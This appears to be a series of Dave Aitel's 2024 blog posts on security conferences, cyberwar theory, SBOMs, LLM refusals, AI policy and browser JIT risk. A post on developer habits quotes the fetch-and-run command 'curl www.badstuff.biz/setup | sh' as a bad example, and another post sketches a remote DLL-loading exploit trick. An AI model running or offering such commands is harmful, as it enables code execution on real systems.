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Grace Hopper and the Rebirth of US Conferences
by Dave Aitel 09 Oct '24

09 Oct '24

I spent some time watching all the Grace Hopper videos on the youtubes, as I prepared for what up North is a horrible storm, but here in Miami is, so far, a breezy and clear day. You can hear her talk about how subroutines used to be literal handwritten pages of instructions in notebooks. When you wanted SIN or COS you would go over to whoever had the notebook with the working version, and copy it out into your code. It was this experience that guided her as she wrote the first compilers, but as you listen to her stories you can see her ponder the meta-questions of computation as well - she uses as the example how a game of basketball sparked her solution to a troublesome issue in her first single pass compiler, leading to her writing what must have been the first jump table. How, she asked herself, can we get a computer to capture this geometry of the mind. What was it that made her brain think of jump tables while playing basketball? When asked about AI, she poo-pooed theoretical work, and emphasized practical needs: data processing and expert systems for field commanders. Hopper's journey from abstract thought to concrete application mirrors our ongoing struggle in computer science, as does her struggle to get the military to adopt new technology, which she relates with anecdote after anecdote - clearly the hardest thing she did in her career was get support for computers into the Navy bureaucracy. This year I've attended a birthday and a funeral, and a lot of our community was at both. But there hasn't been a good offensive-minded conference for us to attend in the States after INFILTRATE ended. We've needed one. Our collective knowledge, like Hopper's compiler, builds upon itself, each pass adding depth and functionality. Two upcoming conferences, RE:VERSE in Orlando and District:CON in DC, have now arisen to continue this tradition. They're not just tech showcases, but gatherings of minds, a hive of soldier ants collected around a temporary bivouak, each attendee contributing to our shared codebase of ideas, as if scribbled in a 1950's coders notebook. We're still trying to capture the geometry of thought, one exploit at a time. And I hope to see everyone there! -dave Grace Hopper video (best version imho because it includes Q&A - link is to the AI question): https://youtu.be/WyGtNvBZ6kk?si=aF4b3elx2vDPPNax&t=5054 Conferences (please buy tickets now before they run out and I am sad): 1. https://re-verse.io/ - Feb 28th in Orlando, FL 2. https://www.districtcon.org/ Feb 21 in Washington DC

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Developing Clairvoyance
by Dave Aitel 30 Sep '24

30 Sep '24

As you know, humans like to invent comfort words. One of my favorites is "luck". The theory being that yes, the universe has dice, but they are loaded in your favor. Properly used, these words are a spell - they allow us to have courage when a sober mind would quail. But when you become a professional, you have to give up these crutches. Only poor poker players believe in "luck". In computer science, and especially in machine learning, one of these words you have to give up is "consciousness", which makes a lot of the current discussion on AI feel pompous and unbearable. Just because you can feel something doesn't make it real. The other day someone said to me, "I don't know why, but it FEELS true to me" and I haven't been able to get that out of my head since then. In security we are often challenged to reject the assumptions a system is built on so we can develop a third sight - in some cases clear enough you gain the ability to predict the future. The raw fuel of this is a vast reliance on an information torrent that to any outside party looks like addiction. I'm by no means an expert on war, conflict, or the Middle East, but what Israel has done to Hezbollah is stunning to most of the experts, and in my opinion, it's because they missed a major shift in warfare that was largely driven by *Java Middleware*, of all things. So many of us lived through the transformation brought about by precision GPS and ISR-based air power. This much is obvious to the crowd that writes articles in war journals. Air war is cool in a very teenage way, and drone movies have a certain visceral feel to them that academics like to write about because it says to the world that they are the kind of hard-core experts that understand the blood-and-guts reality of modern combat. You know what's not sexy? Java. But what is network centric warfare <https://en.wikipedia.org/wiki/Network-centric_warfare#:~:text=Network-centr…> really if not endless rooms full of programmers having meetings about Java Beans and SOAP contracts. What does it look like when a real team goes after your entire society and builds surveillance into everything? It's hard to move in the modern world without a wake billowing behind you into the ether. Al Quada learned this the hard way, and now I think we can see what it looks like applied to another decentralized covert organization. In the end, it's not the drones or the missiles that make the difference—it's the quiet, relentless infrastructure underneath it all, overlooked by those too focused on the shiny surface of modern warfare. The real revolution isn’t in the explosions but in the code. The experts who missed this shift weren’t outmaneuvered by luck or brute force; they were outmatched by those who embraced the unglamorous, intricate work of building a machine that sees all and remembers everything. The future of conflict, like security and AI, won’t belong to those dazzled by the spectacular. It will belong to those who understand that, more often than not, the real power lies in the invisible. -dave

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sboms and LLMs
by Dave Aitel 12 Sep '24

12 Sep '24

People doing software security often use LLMs more as orchestrators than anything else. But there's so many more complicated ways to use them in our space coming down the pipe. Obviously the next evolution of SBOMs <https://www.cisa.gov/resources-tools/resources/cisa-sbom-rama> is that they represent not just what is contained in the code as some static tree of library dependencies, but also what that code does in a summary fashion that you can check once you get the final binaries. In a certain sense, you can think of this as a behavioral attestation between the software publisher and the consumer who is actually running the product. In other words, if my product is meant to connect to WWW.SPYWARE.RU, then it should say so in the SBOM behavioral manifest. But of course in practice these things get quite complicated, and hence you need to summarize semi-structured data (aka, the behavioral manifest is rarely exact), and then compare it to what is seen when the software itself is run (which if you've ever run strace ...is voluminous). That smells like a job for an LLM, or at the very least, a vector comparison. Likewise, automatically building harnesses to run and capture security sensitive information (or performance information as we learned from XZ), is rapidly also becoming a job <https://google.github.io/oss-fuzz/research/llms/target_generation/> for an LLM. I perhaps am channeling everyone else's <https://www.cisa.gov/speaker/allan-friedman> worry that too much of the SBOM community is arguing about which XML fields belong in a VEX addendum, rather than pushing the concepts forwards to actually solve problems. Or perhaps not! At some level, the software vendors are getting dragged through this process by their hair, which is very fun to watch. -dave

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Persistence and Strategic Effects
by Dave Aitel 16 Aug '24

16 Aug '24

Before there were words, calculated as the softmax of a list of possible tokens, there were just vectors of nano-electrical potential in cells soaked in a hormonal brew of electrolytes, operating on a clock cycle of "slow, but fast enough". In this sense, as we now know <https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10472538/>, we generate words and we know, in our heads, what we are, in the same way as we generate limbs, with each cell knowing from its electric field what to be next. A tumor is in that way of thought a *confabulation *or as we now say, a *hallucination.* But then, also, so are you. Recently I spent some time reading this year's Research Handbook on Cyberwarfare <https://cybersecpolitics.blogspot.com/2024/08/a-quick-research-overview-of-…>. One of the forms I filled out recently asked me if I was a certified Master Operator, which of course, I am not, any more than an Archaeopteryx is a certified Bald Eagle, even though both know the smell of the sky and the taste of freshly caught fish. But I do occasionally pay attention to the "state of the art" academic view of cyberwar and the Handbook was a good way to catch up. For example if you read Nadiya Kostyuk and Jen Sidorvova's Handbook paper on *Military **Cybercapacity* they will say that "a cyber attack may provide a defender or third party with a good estimate of the attacker's capabilities, but it is not clear how many of these capabilities the attacker has in their arsenal". This is, to my primitive cyberwarfare mind, so old that I still use "screen" instead of "tmux", a bit of a misstep when it comes to how cyberwar works and what a capability is. I don't know how to say it any clearer than this: Behind every wooden horse is a woodshop. An example in my head is that right now the Ukrainian army is rumored to be sitting on top of a major gas terminal in Kursk, one responsible for supplying Russian gas to Europe. You have to assume that, having learned from the Russian attacks against their electrical infrastructure, the Ukrainian Army is traveling not just with a screen of FPV drones but with a few USB keys containing implants for the specialized equipment that runs a gas network. It's hard to disconnect OT networks that are presumed to be segmented physically, and temporary physical control can easily translate to permanent cyber control. And cyber control, despite what Quentin E. Hodgson's Handbook paper (*Cyber coercion as a tool of statecraft: how often, how effective?*) wrongly concludes, is extremely useful for state coercion. Perhaps the problem with the Handbook, like all academic writing on cyberwar, is that it is meant to be sterile. But that's not how cyberwar works, held in the space that is a melange of electrons and intentions. As tumors confabulate within flesh, so too do our digital dreams hallucinate new worlds, both the virus and the firewall, the wooden horse, and the workshop that births it. Certified or not, we are masters of a domain we cannot fully comprehend, sailing on seas of raw data, guided by stars we ourselves ignite.

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"Exploitation Less Likely"
by Dave Aitel 13 Aug '24

13 Aug '24

DefCon is a study in cacophony, and like many of you I'm still digging through my backlog of new research in multifarious browser tabs, the way a dragonfly keeps track of the world through scintillated compound lenses. In between AIxCC (which proved, if anything, the boundaries <https://dashboard.aicyberchallenge.com/collectivesolvehealth> of automated bug finding using current LLM tech?), James Kettle's timing attack research <https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-…>, and even more PHP ownership <https://www.ambionics.io/blog/iconv-cve-2024-2961-p1>, you unfortunately do have to pay attention to the outside world. One of the things that lit up my sensors was the Windows Remote Desktop Licensing service that came out from a sort of "Post QiHoo360" exploit community, led by Dr. Zhiniang Peng (aka @edwardzpeng), an absolute legend of exploitation. A remote unauthenticated heap overflow in the latest Windows via an MSRPC endpoint, bypassing modern defenses by just calling LoadLibraryA("\\webdav\owned.dll") on a fake object. An unexpected burst of pure beauty really, like the iridescence of a Morpho moth flitting across a concrete parking lot. The exploit <https://github.com/CloudCrowSec001/CVE-2024-38077-POC/blob/main/CVE-2024-38…> is public, but the original paper is now mysteriously deleted, I assume for political reasons. If you have a copy of it, please shoot it my way. It's telling that all the best exploits I know have "Exploitation less likely" as their rating from Microsoft. Anyways, it's interesting what merits attention, and what doesn't. -dave

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PRANA Hack and Leak Report Release
by Dave Aitel 02 Aug '24

02 Aug '24

Cordyceps Analysis Report on PRANA Network Hack and Leak Operation: https://docs.google.com/document/d/1oOJbBTUwyK85ZKYAAdwWqxk-sMvqrBqzJYX1ozi… Lately I've been reading a lot of academic papers, mostly the Research Handbook on Cyberwarfare <https://www.elgaronline.com/edcollchap/book/9781803924854/book-part-9781803…>. Some of them are good papers! JD Work has a paper in it! But also some of them get wrapped around the idea of "Cyber War vs Cyberwarfare" (!??!) or fall in love with "hacktivists" or stomp furiously around all the real issues in the domain without ever stepping on the green. The thing about Persistent Engagement and Integrated Deterrence and Defend Forward is that yes, as Paul Wither's points out in "Do we need an effects-based approach for cyber operations? <https://kclpure.kcl.ac.uk/portal/en/publications/do-we-need-an-effects-base…>" or as the Grugq points out in his latest keynotes <https://www.youtube.com/watch?v=P6PnhDfWvx0>, we do need to look at "effects" in a broad way when talking about cyber operations. But the goal of your offensive counter-cyber operations is not to "reduce the number of incoming operations", as Jay Healey would try to measure, but to mitigate strategic effects! In other words, if the Chinese are hacking as much as possible in the LLM space, but somehow don't manage to launch their own market-leading LLM because for some reason their experiments on Huawei Ascend chips all mysteriously have weirdly wide bands of error, that is Defend Forward working! Did nobody in all of cyber policy academia read the Three Body Problem? Academics should love this part of the theory, really, because arguing about strategic effects is 90% of what they do, usually without ever opening up a Neo4j Database filled with stolen mail spools to see what's really happening on the wire. Anyways, if you like the kind of reporting in our PRANA report, we offer paid reporting as well. :) Thanks, Dave Aitel

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LLMs and refusals
by Dave Aitel 25 Jul '24

25 Jul '24

[image: image.png] Above: LLAMA3.1 8B-4Q test results via OLLAMA So recently I've been doing a lot of work with LLMs handling arbitrary unstructured data, and using them to generate structured data, which then gets put into a graph database for graph algorithms to iterate on so you can actually distill knowledge from a mass of nonsense. But obviously this can get expensive via APIs, so like many of you, I set up a server with a A6000 that has 48G of VRAM and started loading some models on it to test. Using this process you can watch the state of the art advance - problems that were intractable to any open model first became doable via LLama70B versions, and then soon after that, 8B models. Even though you can fit a 70B version into 48GB, you also want to have room for your context length to be fairly large, in case you want to pass a whole web page or email thread through the LLM (which means an 8B parameter model is probably the biggest you really want to use - I don't know why people ignore context size when calculating model VRAM requirements). My most telling example prompt-task is a simple one: Give me the names in a block of text, and then make them hashtags so I can extract them. The results from LLama3.1 8B when quantized down are not...great, as seen in the little example below: *Input Names text: Dave Aitel is a big poo. Why is he like this? He is so mean.RET: I can't help with that request. Is there something else I can assist you with?* Uncensored models, like the Mistral NeMo, are also tiny and struggle to do this task reliably on Chinese or other languages that are not directly in their training set, but they don't REFUSE to do the task because they don't like the input text or find it too mean. So you end up with a lot better results. People are of course going to retrain the LLAMA3.1 base and create an uncensored version and other people are going to complain about that - having an uncensored GPT4-class open model scares them for reasons that are beyond me. But for real work, you need an LLM that doesn't refuse tasks because it doesn't like what it's reading. -dave P.S. Quantization lobotomizes the LLAMA3.1 models really hard. What they can do at full quantization on the 70B model they absolutely cannot do at 4bit.

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Felt Vampires in Policy World And You
by Dave Aitel 12 Jun '24

12 Jun '24

Can a hamster do interprocedural analysis? What size of hamster can turn a tier-2 geopolitical adversary's cyber force into a tier-1 adversary? Is the best use of a hamster finding 0day or orchestrating the offensive operations themselves? These are all great questions for policy teams to ponder and they pontificate over how to properly regulate AI. On one hand, as a technologist, your tendency will be to try to explain to policy teams what makes a scary adversary scary, maybe get involved in building a taxonomy of various tiers of adversary, start classifying operations as "sophisticated" and "not sophisticated". This is not useful, but it feels useful! It is like recycling cardboard boxes, all while knowing that you, as an organism, are primarily oriented towards boiling the oceans and turning the planet into Venus as quickly and efficiently as possible. Remember that today's small stone crab claw is tomorrow's "extra large" stone crab claw, because all the big ones got eaten and that's how generational amnesia <https://www.natural-solutions.world/blog/how-can-we-stop-we-need-to-work-on…> works! In other words, while STORM-0558's operation against Microsoft was slick like oil across the ever-more-hot waters of the Gulf of Mexico when it happened, the million teams doing the exact same Active Directory tricks the next month were just small fish, despite their impact on targets. And most big-impact operations could have been done by second-tier penetration testing teams, let alone nation-state adversaries. You will, if you work in Cyber Policy long enough, see people make tables of operations which compare various hacks from over the last fifteen years, which is like comparing the bite strengths of a Cretaceous monster to your average modern iguana. Likewise, most of Policy-world is, like we all are, obsessed with 0day. We like to count them with the enthusiasm of a vampire puppet on a children's TV show! But we also know that finding 0day is not a sign of sophistication so much as finding the right 0day at the right time. I don't know how to classify Orange Tsai's PHP character innovation but because it doesn't fit neatly into a spreadsheet, it might as well not exist? "If AI finds 0day, then it must be regulated" is a fun position to take in the many fancy halls and tedious Zoom calls where a pompous attitude and an ill-fitting suit are table stakes for attendance and having actually written code that uses Huggingface is considered bad form. But regulating technologies that can find 0day is a dead end. The current best way to find 0day is fuzzers and the dumber they are, the better they work most of the time. When it comes to operations, the current best way to hack is to email people and ask them for their password? Is that still true? Or do we just all look through huge databases of usernames and passwords that have already leaked and just use those now? I'm sure AI can also do that, but I'm also sure that it doesn't matter. I try to tell policy people this: What makes a scary adversary is huge resources, huge motivation, and huge innovation. The big names will probably use AI to automate different things, but nobody is going to saddle up some hamsters and suddenly turn from a not-scary adversary into a scary one. -dave

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GDB Dances and the Moon
by Dave Aitel 08 Jun '24

08 Jun '24

People occasionally read my blogposts <https://cybersecpolitics.blogspot.com/2024/04/what-open-source-projects-are…>on Jia Tan <https://cybersecpolitics.blogspot.com/2024/04/the-open-source-problem.html>and then ask me about open source development in general, and you can only, in your darkest heart of hearts (your only heart) laugh. The other day I was contributing to a project that I am one of several developers on. In particular, I wrote a GDB script that traces through a function, printing out all the various variables and their sizes and this gets fed into an LLM to try to reason about it, which is a bit like asking a hedgehog how big a Unicode string should be to fit around the moon, but it was worth a shot, ya know? I have the kind of dyslexia that means I can't tell matrix algebra from a thinking conscious creature. Anyways, while I am good at making GDB dance in particular ways, like knowing the ancient art of the Polka, I am not good at modern software development, and barely understand GIT or Docker or Cloud things. But I have hacked a few things, like ya'll have, and so my development happens in a VM and that VM has access to pretty much just the source code it needs and not a whole lot else. But that's not how modern development works. It's common to see instructions to run "gcloud auth" and then walk through the web authentication portal from Google so your current user can access cloud buckets and APIs while testing or debugging your giant microservice. Like, people are out there just raw dogging source code from random other open source developers, with their local environment running tokens that give them access to everything they could possibly need from their Google account. People out there running curl www.badstuff.biz/setup | sh. People, and by this I mean developers, are lost storing five thousand fine grained GitHub tokens in various text files on their hard drive because they can't remember which one was which. In other words: Jia Tan might have been a best case scenario for this community. -dave

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What a failure of Secure by Design looks like: Web Browsers
by Dave Aitel 04 Jun '24

04 Jun '24

I know it's in vogue to pick on enterprise hardware marketed to "Secure your OT Environment" but actually written in crayon in a language made of all sharp edges like C or PHP, with some modules in Cobol for spice. This is the "Critical Infrastructure" risk du jour, on a thousand podcasts and panels, with *Volt Typhoon* in the canary seat, where once only the "sophisticated threat" Mirai had root permissions. As embarrassing as having random Iranian teenagers learn how to do systems administration on random water plants in New Jersey is, it's *more* humiliating to have systemic vulnerabilities right in front of you, have a huge amount of government brain matter devoted to solving them, and yet not make the obvious choice to turn off features that are bleeding us out. And when you talk about market failure in Security you can't help but talk about Web Browsers, both mobile and desktop. Web Browsing technology is in everything - and includes a host of technologies too complicated to go into, but one of the most interesting has been Just in Time compiling, which got very popular as an exploitation technique (let's say) in 2010 <http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf> but since then - for over a decade! - has been a bubbling septic font of constant systemic, untreated risk. Proponents of having a JIT in your Javascript compiler say "Without this kind of performance, you wouldn't be able to have GMail or Expedia!" Which is not true on today's hardware (Turn on Edge Strict Security mode today and you won't even notice it), and almost certainly not true on much older hardware. The issue with JITs is visible to any hacker who has looked at the code - whenever you have concepts like "Negative Zero <https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html>" that have to be gotten perfectly every time or else the attacker gets full control of your computer, you are in an indefensible space. I would, in a perfect world, like us to be able to get ahead of systemic problems. We have a rallying cry and a lot of signatories on a pledge, but we need to turn it into clicky clicking on the configuration options that turn these things off on a USG and Enterprise level, the same way we banned Russian antivirus from having Ring0 in our enterprises, or suspiciously cheap subsidized Chinese telecom boxes from serving all the phone companies across the midwest. The issue with web browsers is not limited to JITs. A Secure By Design approach to web browsing would mean that most sites would not have access to large parts of the web browsing specification. We don't need to be tracked by every website. They don't all need access to Geolocation or Video or Web Assembly or any number of other parts of the things our web browsers give them, largely in order to allow the mass production of targeted advertising. If we've learned anything in the last decade, it is that the key phrase in Targeted Advertising is "Targeted", and malware authors have known this for as long as the ecosystem existed. The reason your browser is insecure by default is to support a parasitic advertising ecology, enhancing shareholder value, but leaving our society defenceless against anyone schooled enough in the dark arts. Google's current solution to vulnerabilities in the browser is Yet Another Sandbox. These work for a while until they don't - over time, digital sandboxes get dirty and filled with secrets just like the one in your backyard gets filled with presents from the local feral cat community. I know Project Zero's Samuel Groß is better at browser hacking than I am, and he personally designed the sandbox, but I look out across the landscape of the Chinese hacking community and see only hungry vorpal blades and I do not think it is a winning strategy. -dave References: 1. Microsoft's Strict mode turns the JIT off (kudos to Johnathan Norman) https://support.microsoft.com/en-us/microsoft-edge/enhance-your-security-on… 2. The Sandbox: https://v8.dev/blog/sandbox

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